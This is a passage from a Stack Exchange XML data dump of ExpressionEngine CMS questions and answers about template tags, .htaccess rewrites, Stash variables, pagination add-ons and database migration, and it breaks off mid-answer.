  <row Id="4951" PostTypeId="2" ParentId="4939" CreationDate="2013-01-17T12:05:25.907" Score="3" Body="&lt;p&gt;Yes. Having a &lt;code&gt;query=&quot;&quot;&lt;/code&gt; parameter in the Results tag will trigger no results if the parameter is empty or invalid. &lt;strong&gt;Omitting&lt;/strong&gt; the parameter altogether will allow the Results tag to show all entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, this will return no results if &lt;code&gt;{segment_2}&lt;/code&gt; is empty:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;    query=&quot;{segment_2}&quot;&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this will show all results if &lt;code&gt;{segment_2}&lt;/code&gt; is empty:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;    {if segment_2}query=&quot;{segment_2}&quot;{/if}&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-01-17T12:05:25.907" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4952" PostTypeId="2" ParentId="4940" CreationDate="2013-01-17T12:19:53.503" Score="7" Body="&lt;p&gt;I have used this, which isn't the most elegant solution, but does work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{categories show_group='xy'}y{/categories}&quot; != &quot;&quot;}&#xA;    Category: {categories show_group='xy'} ... {/categories}&#xA;{if:else}&#xA;    No categories here&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also try the &lt;a href=&quot;http://devot-ee.com/add-ons/bw-category-count&quot;&gt;BW Category Count&lt;/a&gt; add-on.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-01-17T12:19:53.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4953" PostTypeId="1" AcceptedAnswerId="4957" CreationDate="2013-01-17T12:35:14.457" Score="2" ViewCount="58" Body="&lt;p&gt;Think this might be an easy question but never found the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want my clients to have a quick link per channel for what they otherwise have to find via &lt;em&gt;Content &gt; Edit &gt; Channels&lt;/em&gt;. &#xA;If i save the url it redirects to the &lt;em&gt;Content &gt; Edit&lt;/em&gt; without the filter &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it would be much more user friendly for clients to have a link with &quot;blogposts&quot;, &quot;contacts&quot;, &quot;events&quot; on the right sidebar.&lt;/p&gt;&#xA;" OwnerUserId="834" LastActivityDate="2013-01-17T12:58:29.017" Title="Control Panel : put content edit entries from one channel in a link" Tags="|control-panel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4954" PostTypeId="1" CreationDate="2013-01-17T12:36:07.017" Score="3" ViewCount="2905" Body="&lt;p&gt;I am trying to remove the index.php from my URL, and have gone through the necessary steps, and used the code below in my .htaccess file. When I navigate to the homepage, it works, but clicking on any links, or typing their url in manually results in a 404. Just for poops and giggles, I added the index.php into the url of one of the sub-pages, and it started working fine. I've also tried adding the / before index.php in the code below to no avail, and I've tried with and without the ? after index.php. Any help you can provide would be amazing. Also, my site is in a subdirectory, ie, example.com/site-directory/index.php.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;&#xA;# Removes index.php from ExpressionEngine URLs&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ index.php?/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="678" LastEditorUserId="678" LastEditDate="2013-01-17T12:44:49.087" LastActivityDate="2013-01-18T01:55:21.157" Title="404 error on all templates but homepage after removing index.php" Tags="|htaccess|404|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4955" PostTypeId="2" ParentId="4954" CreationDate="2013-01-17T12:50:59.390" Score="0" Body="&lt;p&gt;try adding the path like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)$ /site_directory/index.php?/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes Apache can be set up different from server to server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i. e. on DreamHost this would work&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)$ /site_directory/index.php?/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where as on my Ubuntu VM or EngineHosting this works&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)$ /ci/index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try removing the &quot;?&quot; after index.php&lt;/p&gt;&#xA;" OwnerUserId="315" LastEditorUserId="315" LastEditDate="2013-01-17T14:13:54.270" LastActivityDate="2013-01-17T14:13:54.270" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4956" PostTypeId="2" ParentId="4953" CreationDate="2013-01-17T12:56:22.567" Score="1" Body="&lt;p&gt;Three choices:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/cp-menu-master&quot; rel=&quot;nofollow&quot;&gt;CP Menu Master&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/bn-edit-menu&quot; rel=&quot;nofollow&quot;&gt;BN Edit Menu&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ee-zoo.com/add-ons/flexible-admin&quot; rel=&quot;nofollow&quot;&gt;Zoo Flexible Admin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="625" LastActivityDate="2013-01-17T12:56:22.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4957" PostTypeId="2" ParentId="4953" CreationDate="2013-01-17T12:58:29.017" Score="3" Body="&lt;p&gt;You can do that, but the links are tied specifically to the user.&#xA;So, you can login, as the user and build their list of quick links.&#xA;You can force this by browsing to the users profile in the CP as a Super Admin and it will give you a menu pick to login as that user.  You don't need to know their password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also do the same with the buttons in the top menu.&#xA;Browse to the entry listings for the channel you want, then select the &quot;Add&quot; link and it will add it to the header.&#xA;Again, these are user specific, so you would need to be logged in as the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure, but I don't think you can makes those global without some code re-working.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-01-17T12:58:29.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4958" PostTypeId="1" AcceptedAnswerId="4969" CreationDate="2013-01-17T13:23:04.970" Score="1" ViewCount="159" Body="&lt;p&gt;I'm relatively new to ExpressionEngine so please bear with me on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to add title attributes to the links in my Structure navigation, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;[link]&quot; title=&quot;[something]&quot;&amp;gt;[page name]&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm not having much luck. Here is my &lt;code&gt;{exp:structure:nav}&lt;/code&gt; tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:nav start_from=&quot;/&quot; max_depth=&quot;1&quot; include_ul=&quot;no&quot; add_unique_ids=&quot;entry_id&quot; current_class=&quot;font-bold&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried adding in my own custom title parameter but that didn't seem to work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be a quick fix but I can't see it myself. Any help would be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; Since I couldn't see a way to add titles through the tag, I went in and edited line 717 in sql.structure.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$html .= '&amp;lt;li'. $classes . $ids . '&amp;gt;&amp;lt;a href=&quot;' . $tree[$i]['uri'] . '&quot; title=&quot;' . $title_output .'&quot;&amp;gt;' . $title_output .'&amp;lt;/a&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm testing it now but it seems to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has a better alternative please feel free to add. &lt;/p&gt;&#xA;" OwnerUserId="836" LastEditorUserId="268" LastEditDate="2013-01-21T08:47:21.990" LastActivityDate="2013-01-21T08:47:21.990" Title="Titles in structure not showing" Tags="|add-on|structure|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4959" PostTypeId="2" ParentId="4943" CreationDate="2013-01-17T13:31:59.333" Score="3" Body="&lt;p&gt;A couple of things. First, going forward, make sure that the &lt;strong&gt;Auto-Assign Category Parents&lt;/strong&gt; option (under &lt;strong&gt;Admin &amp;rarr; Channel Administration &amp;rarr; Global Preferences&lt;/strong&gt;) is set to &lt;strong&gt;yes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, to fix all of the pre-existing entries, backup your database, create a new template, enable PHP on it, put this in it, then load the template in your browser. (You'll need to find the Category ID of each of the relevant categories and replace them below.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$this-&amp;gt;EE =&amp;amp; get_instance();&#xA;&#xA;$child_categories = &quot;1,2,3&quot;;&#xA;$parent_category = &quot;4&quot;;&#xA;&#xA;$entries = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;SELECT DISTINCT entry_id FROM exp_category_posts WHERE cat_id IN($child_categories)&quot;);&#xA;if($entries-&amp;gt;num_rows() &amp;gt; 0)&#xA;{&#xA;    foreach($entries-&amp;gt;result_array() as $entry)&#xA;    {&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&#xA;            $this&amp;gt;EE-&amp;gt;db-&amp;gt;insert_string(&#xA;                'exp_category_posts',&#xA;                array('cat_id' =&amp;gt; $parent_category, 'entry_id' =&amp;gt; $entry['entry_id'])&#xA;            )&#xA;        );&#xA;    }&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-17T13:31:59.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4960" PostTypeId="1" AcceptedAnswerId="4970" CreationDate="2013-01-17T13:37:07.393" Score="1" ViewCount="851" Body="&lt;p&gt;I'm trying to create a stash variable of a pipe delimited entry_id list using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;related_entries&quot; limit=&quot;1&quot; disable=&quot;categories|member_data|pagination|trackbacks&quot; entry_id=&quot;2249&quot;}&#xA;{exp:stash:set name=&quot;featured_ids&quot; parse_tags=&quot;yes&quot;}&#xA;    {entry_relationships backspace=&quot;1&quot; parse=&quot;inward&quot;}{entry_id}|{/entry_relationships}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've enabled template debugging and can see that the variable is being set by stash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Stash: SET featured_ids to value 6147|8116|6270|3031|3019|463|6380&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;..but when I try and retrieve the variable using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name=&quot;featured_ids&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Stash: RETRIEVED featured_ids with value &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and looking at the order of the output, guess what? It is LATER in the parse order than setting the variable in the first place, which explains why it doesn't output anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how I can get around this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I've added process=&quot;end&quot; to my get tag and now in the template debugging I'm seeing the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Stash: RETRIEVED featured_ids with value 6147|8116|6270|3031|3019|463|6380&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but when I look at the output on the actual page, I'm seeing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{b0faccac1d7de314625221c0189105071802790178}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="308" LastEditorUserId="308" LastEditDate="2013-01-17T13:43:29.473" LastActivityDate="2013-01-21T09:30:49.120" Title="Stash variable is being set but I can't retrieve it" Tags="|stash|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4961" PostTypeId="1" CreationDate="2013-01-17T13:39:23.990" Score="2" ViewCount="148" Body="&lt;p&gt;just upgraded to Assets 2 and must say the visuals are stunning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When migrating from my local machine to my online development enviroment i got the following SQL error when uploading the database.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SQL-query: INSERT INTO  `exp_assets_folders` (  `folder_id` ,  `source_type` ,  &amp;gt;`folder_name` ,  `full_path` ,  `parent_id` ,  `source_id` ,  `filedir_id` ) VALUES ( &quot;2&quot;,  &quot;ee&quot;,  &quot;Bestanden&quot;,  &quot;&quot;,  &quot;&quot;,  &quot;&quot;,  &quot;2&quot; );&#xA;MySQL retourneerde: &#xA;#1062 - Duplicate entry 'ee-0-' for key 'unq_source_type__source_id__full_path' &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this error is caused by the following rules in the import file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO `exp_assets_folders` (`folder_id`, `source_type`, `folder_name`, `full_path`, `parent_id`, `source_id`, `filedir_id`) VALUES (&quot;1&quot;, &quot;ee&quot;, &quot;Afbeeldingen&quot;, &quot;&quot;, &quot;&quot;, &quot;&quot;, &quot;1&quot;) ; &#xA;INSERT INTO `exp_assets_folders` (`folder_id`, `source_type`, `folder_name`, `full_path`, `parent_id`, `source_id`, `filedir_id`) VALUES (&quot;2&quot;, &quot;ee&quot;, &quot;Bestanden&quot;, &quot;&quot;, &quot;&quot;, &quot;&quot;, &quot;2&quot;) ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think the problems caused by the fact that i'm using the config-bootstrap method to control all path and url information for my installations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have a way to solve this issue? And is it still possible to control the path information via de config-bootstrap?&lt;/p&gt;&#xA;" OwnerUserId="792" LastEditorUserId="150" LastEditDate="2013-01-19T09:49:11.690" LastActivityDate="2013-01-19T09:49:11.690" Title="Assets2: exp_assets_folders table gives error on migration" Tags="|database|assets|migration|" AnswerCount="2" CommentCount="5" ClosedDate="2013-01-19T23:07:25.187" ContentLicense="CC BY-SA 3.0" />
  <row Id="4962" PostTypeId="2" ParentId="4960" CreationDate="2013-01-17T13:43:05.907" Score="1" Body="&lt;p&gt;Stash items like this are extemely sensitive to space/ing, try truncating your stash to one line and add trim=&quot;yes&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;featured_ids&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot;}{entry_relationships backspace=&quot;1&quot; parse=&quot;inward&quot;}{entry_id}|{/entry_relationships}{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-01-17T13:43:05.907" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4963" PostTypeId="1" AcceptedAnswerId="4965" CreationDate="2013-01-17T13:44:02.273" Score="3" ViewCount="1944" Body="&lt;p&gt;I've got a site where it shows different content dependent on the url segments (categories eugh!) but as there can be up to 4 url segments, any of which could have pagination, i want to be able to say not if segment is a pagination segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously i could do {if (segment_4 != '') &amp;amp;&amp;amp; segment_4 != 'P25' &amp;amp;&amp;amp; segment_4 != 'P50'} but pagination could be any value in theory. So, is there a way of saying &quot;where segment_4 is not a pagination segment&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2013-04-18T20:16:45.353" Title="Detect any pagination in a conditional" Tags="|categories|pagination|segments|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4964" PostTypeId="2" ParentId="4958" CreationDate="2013-01-17T13:45:42.973" Score="1" Body="&lt;p&gt;If I understand correctly by what 'title' you're trying to output then you'll need to include &lt;code&gt;show_overview=&quot;yes&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Overview (Parent) Link show_overview=&quot;yes&quot;, defaults to no Shows a&#xA;  link at the top of your navigation that links to the current top level&#xA;  page. Use with rename_overview to change the title.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is that what you were looking for?&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-01-17T13:45:42.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4965" PostTypeId="2" ParentId="4963" CreationDate="2013-01-17T13:49:20.287" Score="5" Body="&lt;p&gt;Use &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot;&gt;Switchee&lt;/a&gt;. It supports regular expressions, and example on devot:ee page shows how to use that to check for pagination.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-01-17T13:49:20.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4966" PostTypeId="2" ParentId="4963" CreationDate="2013-01-17T13:54:59.170" Score="2" Body="&lt;p&gt;Switchee will work in some cases, but I've also been using the very versatile &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;Mo'variables&lt;/a&gt; successfully. Among other things, it has a handy {if_paginated} conditional that checks whether pagination appears in your segments. Pleanty of other goodies as well in terms of working with segments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: code example (not at my desk so cannot test)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_4 != &quot;&quot;}&#xA;    {if not_paginated}&#xA;        stuff to do&#xA;    {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When working with categories, I have also found &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;GWcode Categories&lt;/a&gt; to be invaluable. Makes your life a hell of a lot easier.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-01-17T14:12:16.657" LastActivityDate="2013-01-17T14:12:16.657" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4967" PostTypeId="2" ParentId="4963" CreationDate="2013-01-17T13:57:31.780" Score="4" Body="&lt;p&gt;The simplest way is to use Rob's &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;Mo Variables&lt;/a&gt; which comes with some very useful global variables for use in your templates including &quot;{if paginated}&quot;. This also makes it very easy to see what the code is doing when you re-visit it at a later date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing that I'd fall back to Switchee. -----&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="1351" LastEditDate="2013-04-18T20:16:45.353" LastActivityDate="2013-04-18T20:16:45.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4968" PostTypeId="2" ParentId="4940" CreationDate="2013-01-17T14:00:02.837" Score="0" Body="&lt;p&gt;Was having the same problem. I wrote a small (free) plugin that will enable you to do just that. Entry id is mandatory and has optional category groups. &lt;a href=&quot;http://devot-ee.com/add-ons/jco-entry-catcount&quot; rel=&quot;nofollow&quot;&gt;Available here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-01-17T14:48:38.947" LastActivityDate="2013-01-17T14:48:38.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4969" PostTypeId="2" ParentId="4958" CreationDate="2013-01-17T14:44:06.737" Score="3" Body="&lt;p&gt;As far as I know, the Structure nav tag does not output any title attribute for links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a free third party add-on Structure Entries &lt;a href=&quot;http://devot-ee.com/add-ons/structure-entries&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/structure-entries&lt;/a&gt; which you could try using to generate your navigation links instead. You specify your own markup for each link, so you could specify the title attribute etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could use javascript to add a title parameter set to the link text into your Structure nav output. &lt;/p&gt;&#xA;" OwnerUserId="191" LastActivityDate="2013-01-17T14:44:06.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4970" PostTypeId="2" ParentId="4960" CreationDate="2013-01-17T14:44:25.000" Score="2" Body="&lt;p&gt;&lt;strong&gt;EDIT 1: Not that, see Mark's reply below for an in depth explanation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might be an EE caching issue. If using the same tag more than once, &lt;a href=&quot;http://devot-ee.com/add-ons/support/stash/viewthread/6632#22108&quot; rel=&quot;nofollow&quot;&gt;try to add 'random' at the end of your get tag to stop EE from caching it&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name=&quot;featured_ids&quot; random}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2: tried to reproduce&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, I tried on a sandbox install and the following code works&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;featured_ids&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot;}&#xA;    {exp:channel:entries disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot; channel=&quot;news&quot; status=&quot;open&quot; dynamic=&quot;no&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;500&quot; backspace=&quot;1&quot;}&#xA;        {entry_id}|&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&#xA;{exp:stash:get name=&quot;featured_ids&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I would try to move the set tags outside of the channel entries tags like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;featured_ids&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot;}&#xA;    {exp:channel:entries channel=&quot;related_entries&quot; limit=&quot;1&quot; disable=&quot;categories|member_data|pagination|trackbacks&quot; entry_id=&quot;2249&quot;}&#xA;        {entry_relationships backspace=&quot;1&quot;}{entry_id}|{/entry_relationships}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&#xA;&#xA;{exp:stash:get name=&quot;featured_ids&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any better ?&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-01-21T09:30:49.120" LastActivityDate="2013-01-21T09:30:49.120" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4971" PostTypeId="2" ParentId="4848" CreationDate="2013-01-17T14:52:03.183" Score="1" Body="&lt;p&gt;Riddle solved but I don't know why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went ahead and upgraded php to 5.4.11 from php 5.3.9 and the behavior is gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mea culpa, it was not the hosting. I don't know why things were bad under php 5.3.9 but they were for whatever reason.&lt;/p&gt;&#xA;" OwnerUserId="440" LastActivityDate="2013-01-17T14:52:03.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4972" PostTypeId="2" ParentId="4852" CreationDate="2013-01-17T15:15:19.647" Score="0" Body="&lt;p&gt;I doubt you can do it easily. A custom extension to parse the text on submission might do it, but the issue is CKEditor forces &amp;lt;p&amp;gt; tags around pretty much every inline element. You're better off just leaving it and changing the styles like GDMac suggested.&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2013-01-17T15:15:19.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4973" PostTypeId="2" ParentId="4963" CreationDate="2013-01-17T15:40:14.550" Score="5" Body="&lt;p&gt;I use &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot;&gt;Switchee&lt;/a&gt; to detect pagination except in cases where I just can’t work Switchee into the template, in which case I use &lt;a href=&quot;http://devot-ee.com/add-ons/md-detect-page-type&quot;&gt;MD Detect Page Type&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switchee example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable = &quot;{segment_4}&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;''&quot;}&#xA;        Not Paginated&#xA;    {/case}&#xA;    {case value=&quot;#^P(\d+)$#&quot;}&#xA;        This is Paginated&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;MD Detect Page Type example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:md_detect_page_type url_segment=&quot;{segment_4}&quot;}&#xA;    {if pagination_page == TRUE}&#xA;        Paginated&#xA;    {/if}&#xA;{/exp:md_detect_page_type}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="467" LastActivityDate="2013-01-17T15:40:14.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4974" PostTypeId="1" AcceptedAnswerId="4979" CreationDate="2013-01-17T16:01:04.817" Score="1" ViewCount="125" Body="&lt;p&gt;I'm exporting member data as xml from one site to another using &lt;a href=&quot;http://devot-ee.com/add-ons/export-it&quot; rel=&quot;nofollow&quot;&gt;Export It&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I import the xml via the EE Member Import Utility the 'Join Date' for each imported member is '0'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The join_date format in the exported xml is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;join_date&amp;gt;Jun 09, 2011, 07:46:04AM&amp;lt;/join_date&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is this incorrect?&lt;/li&gt;&#xA;&lt;li&gt;Does it matter that the Join Date is 0?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="820" LastActivityDate="2013-01-17T16:35:47.577" Title="Member Import XML join_date Format" Tags="|import|xml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4975" PostTypeId="2" ParentId="4954" CreationDate="2013-01-17T16:02:02.407" Score="6" Body="&lt;p&gt;Because EE (and CI) run all page requests from a single &lt;code&gt;index.php&lt;/code&gt; they must pull in the dynamic data from the URL. In general it does this via the server environment variable &lt;code&gt;PATH_INFO&lt;/code&gt;. The problem, though, is that not all servers have this environment variable set. That's why EE and CI allow you to change how the URI is read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some cases the environment doesn't have &lt;code&gt;PATH_INFO&lt;/code&gt; as an option. In those cases the system tries to &quot;auto&quot; select the right value but it doesn't always work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try changing the value of &lt;code&gt;$config['uri_protocol']&lt;/code&gt; in your &lt;code&gt;system/expressionengine/config/config.php&lt;/code&gt; file. The possible values are listed in the file. Loop through those and save each time, refreshing the website when you're done. See if any of those different options fix the problem.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;|--------------------------------------------------------------------------&#xA;| URI PROTOCOL&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| This item determines which server global should be used 